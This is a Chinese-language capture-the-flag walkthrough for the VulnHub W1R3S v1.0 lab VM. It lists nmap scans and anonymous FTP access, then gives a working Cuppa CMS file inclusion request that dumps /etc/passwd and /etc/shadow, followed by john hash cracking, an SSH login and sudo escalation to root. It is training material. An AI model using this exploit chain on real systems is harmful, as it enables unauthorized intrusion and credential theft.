[vulnhub] w1r3s.v1.0

https://www.vulnhub.com/entry/w1r3s-101,220/

思路：红队笔记

主机发现端口扫描

1. 使用nmap扫描网段类存活主机

   因为靶机是我最后添加的，所以靶机IP是133

   nmap -sP 192.168.75.0/24
   //
   Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-20 09:09 CST
   Nmap scan report for 192.168.75.1
   Host is up (0.00022s latency).
   MAC Address: 00:50:56:C0:00:08 (VMware)
   Nmap scan report for 192.168.75.2
   Host is up (0.00015s latency).
   MAC Address: 00:50:56:FB:CA:45 (VMware)
   Nmap scan report for 192.168.75.133
   Host is up (0.00021s latency).
   MAC Address: 00:0C:29:11:5B:7D (VMware)
   Nmap scan report for 192.168.75.254
   Host is up (0.00028s latency).
   MAC Address: 00:50:56:F8:B3:1A (VMware)
   Nmap scan report for 192.168.75.131
   Host is up.
   Nmap done: 256 IP addresses (5 hosts up) scanned in 2.14 seconds
   

2. 扫描主机开放端口

   nmap -sT -min-rate 10000 -p- 192.168.75.133
   //
   Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-20 09:11 CST
   Nmap scan report for 192.168.75.133
   Host is up (0.0011s latency).
   Not shown: 55528 filtered tcp ports (no-response), 10003 closed tcp ports (conn-refused)
   PORT     STATE SERVICE
   21/tcp   open  ftp
   22/tcp   open  ssh
   80/tcp   open  http
   3306/tcp open  mysql
   MAC Address: 00:0C:29:11:5B:7D (VMware)
   

   开放了 21，22，80，3306

3. 扫描主机服务版本以及系统版本

   nmap -sV -sT -O -p21,22,80,3306 192.168.75.133
   //
   PORT     STATE SERVICE VERSION
   21/tcp   open  ftp     vsftpd 2.0.8 or later
   22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
   80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
   3306/tcp open  mysql   MySQL (unauthorized)
   MAC Address: 00:0C:29:11:5B:7D (VMware)
   Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
   Device type: general purpose
   Running: Linux 3.X|4.X
   OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
   OS details: Linux 3.10 - 4.11, Linux 3.2 - 4.9
   Network Distance: 1 hop
   Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel
   

   vsftpd 可能可以使用匿名登陆，可能会有信息泄露，所以优先级高

   Apache版本是2.4.18

   MySql未经授权，所以未能获取到版本信息

   操作系统版本**Linux 3.10 - 4.11** 或 Linux 3.2 - 4.9

   主机名为 W1R3S.inc

4. UDP扫描

   nmap -sU 192.168.75.133
   //
   无数据
   

5. 扫描开放端口漏洞

   我如果不设置--script-timeout 30s 会一直卡在98.xx%

   nmap -script=vuln -p21,22,80,3306 --script-timeout 30s  192.168.75.133
   //
   PORT     STATE SERVICE
   21/tcp   open  ftp
   22/tcp   open  ssh
   80/tcp   open  http
   |_http-csrf: Couldn't find any CSRF vulnerabilities.
   |_http-dombased-xss: Couldn't find any DOM based XSS.
   |_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
   | http-enum: 
   |_  /wordpress/wp-login.php: Wordpress login page.
   3306/tcp open  mysql
   MAC Address: 00:0C:29:11:5B:7D (VMware)
   

   没有找到什么漏洞，可能是扫描时间过短的原因，这样子的话我们的优先级就是21→80→3306→22 ，因为ftp可能造成文件泄露。web发现了wordpress的登陆页面，也有机会获得进度

FTP渗透

1. 尝试下ftp是否能进行匿名登陆

   ftp 192.168.75.133
   //
   Connected to 192.168.75.133.
   220 Welcome to W1R3S.inc FTP service.
   Name (192.168.75.133:root): anonymous
   331 Please specify the password.
   Password: 
   230 Login successful.
   Remote system type is UNIX.
   Using binary mode to transfer files.
   

   230 Login successful 登陆成功，接着查找信息

2. 把匿名用户能获取的所有文件下载下来，一共有五个文件

   01.txt 02.txt 03.txt employee-names.txt worktodo.txt

   查看内容

   cat *.txt      
   New FTP Server For W1R3S.inc
   #
   #
   #
   #
   01ec2d8fc11c493b25029fb1f47f39ce
   #
   #
   #
   #
   #
   SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
   ############################################
   ___________.__              __      __  ______________________   _________    .__               
   \__    ___/|  |__   ____   /  \    /  \/_   \______   \_____  \ /   _____/    |__| ____   ____  |    |   |  |  \_/ __ \  \   \/\/   / |   ||       _/ _(__  < \_____  \     |  |/    \_/ ___\ |    |   |   Y  \  ___/   \        /  |   ||    |   \/       \/        \    |  |   |  \  \___ |____|   |___|  /\___  >   \__/\  /   |___||____|_  /______  /_______  / /\ |__|___|  /\___  >\/     \/         \/                \/       \/        \/  \/         \/     \/ 
   The W1R3S.inc employee listNaomi.W - Manager
   Hector.A - IT Dept
   Joseph.G - Web Design
   Albert.O - Web Design
   Gina.L - Inventory
   Rico.D - Human Resourcesı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

   • New FTP Server For W1R3S.inc 指的应该是 新的W1R3S.inc 公司的ftp服务器 ，新的就表示可能存在漏洞

   • 01ec2d8fc11c493b25029fb1f47f39ce看着特征像是MD5，识别出来是：This is not a password

   • SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg== 看着像是base64，识别出来是：It is easy, but not that easy..

   • 中间的Ascii艺术说的是The W1R3S.inc

   • 还有个职员表，不过只有姓名，在爆破时可能用的上

     Naomi.W - Manager Hector.A - IT Dept Joseph.G - Web Design Albert.O - Web Design Gina.L - Inventory Rico.D - Human Resources
     

   • 最后有两行翻转过来的字符串，大概是

     we have a lot of work to do, stop playtng around'.
     i don't think this is the way to root!
     

3. 好像没用…

WEB渗透

1. 访问 http://192.168.75.133/ ，页面是apache的默认页面，可能是刚安装完

2. 爆破目录都有啥，我们知道的只有wordpress的登录页

    python .\dirsearch.py -u http://192.168.75.133///[10:14:57] Starting:
   [10:14:58] 403 -  300B  - /.ht_wsr.txt
   [10:14:58] 403 -  303B  - /.htaccess.bak1
   [10:14:58] 403 -  303B  - /.htaccess.orig
   [10:14:58] 403 -  305B  - /.htaccess.sample
   [10:14:58] 403 -  303B  - /.htaccess.save
   [10:14:58] 403 -  303B  - /.htaccess_orig
   [10:14:58] 403 -  304B  - /.htaccess_extra
   [10:14:58] 403 -  301B  - /.htaccess_sc
   [10:14:58] 403 -  301B  - /.htaccessOLD
   [10:14:58] 403 -  302B  - /.htaccessOLD2
   [10:14:58] 403 -  294B  - /.html
   [10:14:58] 403 -  293B  - /.htm
   [10:14:58] 403 -  303B  - /.htpasswd_test
   [10:14:58] 403 -  299B  - /.htpasswds
   [10:14:58] 403 -  300B  - /.httr-oauth
   [10:14:58] 403 -  293B  - /.php
   [10:14:58] 403 -  294B  - /.php3
   [10:15:00] 403 -  301B  - /.htaccessBAK
   [10:15:03] 301 -  324B  - /administrator  ->  http://192.168.75.133/administrator/
   [10:15:03] 302 -    7KB - /administrator/  ->  installation/
   [10:15:03] 302 -    7KB - /administrator/index.php  ->  installation/
   [10:15:10] 301 -  321B  - /javascript  ->  http://192.168.75.133/javascript/
   [10:15:16] 403 -  302B  - /server-status
   [10:15:16] 403 -  303B  - /server-status/
   [10:15:21] 301 -    0B  - /wordpress/  ->  http://localhost/wordpress/
   [10:15:21] 200 -    1KB - /wordpress/wp-login.php
   

   存在administrator文件夹和wordpress ，先去查看wordpress

3. 来到wordpress登陆页面，输入之前的用户名，密码随便输，抓包尝试爆破,但是发现数据包host指向的是localhost ，也就是指向我们的127.0.0.1

   //数据包
   POST /wordpress/wp-login.php HTTP/1.1
   Host: localhost
   ....
   log=Naomi&pwd=123&wp-submit=Log+In&redirect_to=http%3A%2F%2Flocalhost%2Fwordpress%2Fwp-admin%2F&testcookie=1
   

   应该是还没配置好，我们去administrator目录看看

4. 跳转到访问administator目录跳转到/administrator/installation/ 是个CMS安装页面，也、页面的title显示的是Cuppa CMS ，经查阅是一个内容管理系统的项目

   

   我们尝试next ，毕竟只有这一个交互，Database Name ，Password，Email都是空的

   

   尝试输入Database Name = test，Password = test ,Email = [e-mail] ,点击next

   

   数据表创建成功，不过管理员用户创建失败，并且交互只有一个back ，这块也走不下去了

5. 想到Cuppa也是一个开源项目，我们去查阅一下有没有漏洞，因为我们不知道CMS版本，所以都可以尝试下

   • 经查阅法cuppa存在文件包含漏洞，并且很容易利用

     https://bugtoolz.com/post/cs132020723/

     在/target/templates/default/html/windows/right.php 下存在一个$_POST['url'] ,提交可以访问任意文件

   • 访问并抓包/administrator/templates/default/html/windows/right.php 因为是在administator目录安装的

   • 抓到包后测试读取/etc/passwd ，记得修改包请求方法，默认访问时GET需要改成POST

     //req
     POST /administrator/templates/default/html/windows/right.php HTTP/1.1
     Host: 192.168.75.133
     ....
     url=../../	../../etc/passwd
     

     读取成功

     //res
     root:x:0:0:root:/root:/bin/bash
     daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
     bin:x:2:2:bin:/bin:/usr/sbin/nologin
     sys:x:3:3:sys:/dev:/usr/sbin/nologin
     sync:x:4:65534:sync:/bin:/bin/sync
     games:x:5:60:games:/usr/games:/usr/sbin/nologin
     man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
     lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
     mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
     news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
     uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
     proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
     www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
     backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
     list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
     irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
     gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
     nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
     systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
     systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
     systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
     systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
     syslog:x:104:108::/home/syslog:/bin/false
     _apt:x:105:65534::/nonexistent:/bin/false
     messagebus:x:106:110::/var/run/dbus:/bin/false
     uuidd:x:107:111::/run/uuidd:/bin/false
     lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
     whoopsie:x:109:117::/nonexistent:/bin/false
     avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
     avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
     dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
     colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
     speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
     hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
     kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
     pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
     rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
     saned:x:119:127::/var/lib/saned:/bin/false
     usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
     w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
     sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
     ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
     mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false
     

   • 能读取passwd我们就继续读取shadow文件

     root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
     daemon:*:17379:0:99999:7:::
     bin:*:17379:0:99999:7:::
     sys:*:17379:0:99999:7:::
     sync:*:17379:0:99999:7:::
     games:*:17379:0:99999:7:::
     man:*:17379:0:99999:7:::
     lp:*:17379:0:99999:7:::
     mail:*:17379:0:99999:7:::
     news:*:17379:0:99999:7:::
     uucp:*:17379:0:99999:7:::
     proxy:*:17379:0:99999:7:::
     www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
     backup:*:17379:0:99999:7:::
     list:*:17379:0:99999:7:::
     irc:*:17379:0:99999:7:::
     gnats:*:17379:0:99999:7:::
     nobody:*:17379:0:99999:7:::
     systemd-timesync:*:17379:0:99999:7:::
     systemd-network:*:17379:0:99999:7:::
     systemd-resolve:*:17379:0:99999:7:::
     systemd-bus-proxy:*:17379:0:99999:7:::
     syslog:*:17379:0:99999:7:::
     _apt:*:17379:0:99999:7:::
     messagebus:*:17379:0:99999:7:::
     uuidd:*:17379:0:99999:7:::
     lightdm:*:17379:0:99999:7:::
     whoopsie:*:17379:0:99999:7:::
     avahi-autoipd:*:17379:0:99999:7:::
     avahi:*:17379:0:99999:7:::
     dnsmasq:*:17379:0:99999:7:::
     colord:*:17379:0:99999:7:::
     speech-dispatcher:!:17379:0:99999:7:::
     hplip:*:17379:0:99999:7:::
     kernoops:*:17379:0:99999:7:::
     pulse:*:17379:0:99999:7:::
     rtkit:*:17379:0:99999:7:::
     saned:*:17379:0:99999:7:::
     usbmux:*:17379:0:99999:7:::
     w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
     sshd:*:17554:0:99999:7:::
     ftp:*:17554:0:99999:7:::
     mysql:!:17554:0:99999:7:::
     

6. 把root，www-data，w1r3s用户进行破解

   • 将内容保存为shadow.hash 传入到kali

     root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
     www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
     w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
     

   • 使用john破解

     john shadow.hash 
     //
     reated directory: /root/.john
     Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
     Use the "--format=HMAC-SHA256" option to force loading these as that type instead
     Using default input encoding: UTF-8
     Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
     Cost 1 (iteration count) is 5000 for all loaded hashes
     Will run 8 OpenMP threads
     Proceeding with single, rules:Single
     Press 'q' or Ctrl-C to abort, almost any other key for status
     www-data         (www-data)     
     Almost done: Processing the remaining buffered candidate passwords, if any.
     Proceeding with wordlist:/usr/share/john/password.lst
     computer         (w1r3s)     
     Proceeding with incremental:ASCII
     

     暂时破解出来了两个用户的密码，除了root的，权限看着应该是w1r3s的更高

7. 使用ssh登录w1r3s 用户，并查看其权限

   • 登陆成功

     ssh w1r3s@192.168.75.133 
     //
     ----------------------
     Think this is the way?
     ----------------------
     Well,........possibly.
     ----------------------
     w1r3s@192.168.75.133's password: 
     Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.13.0-36-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantage108 packages can be updated.
     6 updates are security updates......You made it huh?....
     Last login: Mon Jan 22 22:47:27 2018 from 192.168.0.35
     w1r3s@W1R3S:~$ 
     

   • 查看权限

     w1r3s@W1R3S:~$ whoami
     w1r3s
     //
     w1r3s@W1R3S:~$ uname -a
     Linux W1R3S 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
     //
     w1r3s@W1R3S:~$ ip a
     1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
     2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000link/ether 00:0c:29:11:5b:7d brd ff:ff:ff:ff:ff:ffinet 192.168.75.133/24 brd 192.168.75.255 scope global dynamic ens33valid_lft 1134sec preferred_lft 1134secinet6 fe80::aae5:6c48:85ba:de8/64 scope link valid_lft forever preferred_lft forever
     // 直接进去root用户了
     w1r3s@W1R3S:~$ sudo -i
     root@W1R3S:
     //
     root@W1R3S:~# whoami
     root
     

     提权成功

8. 读取flag.txt文件，登录root后就在当前目录下

   
   // flag.txt
   -----------------------------------------------------------------------------------------____ ___  _   _  ____ ____      _  _____ _   _ _        _  _____ ___ ___  _   _ ____  / ___/ _ \| \ | |/ ___|  _ \    / \|_   _| | | | |      / \|_   _|_ _/ _ \| \ | / ___| | |  | | | |  \| | |  _| |_) |  / _ \ | | | | | | |     / _ \ | |  | | | | |  \| \___ \ | |__| |_| | |\  | |_| |  _ <  / ___ \| | | |_| | |___ / ___ \| |  | | |_| | |\  |___) |\____\___/|_| \_|\____|_| \_\/_/   \_\_|  \___/|_____/_/   \_\_| |___\___/|_| \_|____/ -----------------------------------------------------------------------------------------.-----------------TTTT_-----_______/''''''''''(______O] ----------____  \______/]___...---'"""\_ --''   Q                               ___________@|'''                   ._   _______________=---------"""""""|                ..--''|   l L |_l   ||          ..--''      .  /-___j '   '|    ..--''           /  ,       '   '|--''                /           `    \L__'         \    --    '-.'.    /'-./----------------------------------------------------------------------------------------YOU HAVE COMPLETED THE__      __  ______________________   _________/  \    /  \/_   \______   \_____  \ /   _____/\   \/\/   / |   ||       _/ _(__  < \_____  \ \        /  |   ||    |   \/       \/        \\__/\  /   |___||____|_  /______  /_______  /.INC\/                \/       \/        \/        CHALLENGE, V 1.0
   ----------------------------------------------------------------------------------------CREATED BY SpecterWires----------------------------------------------------------------------------------------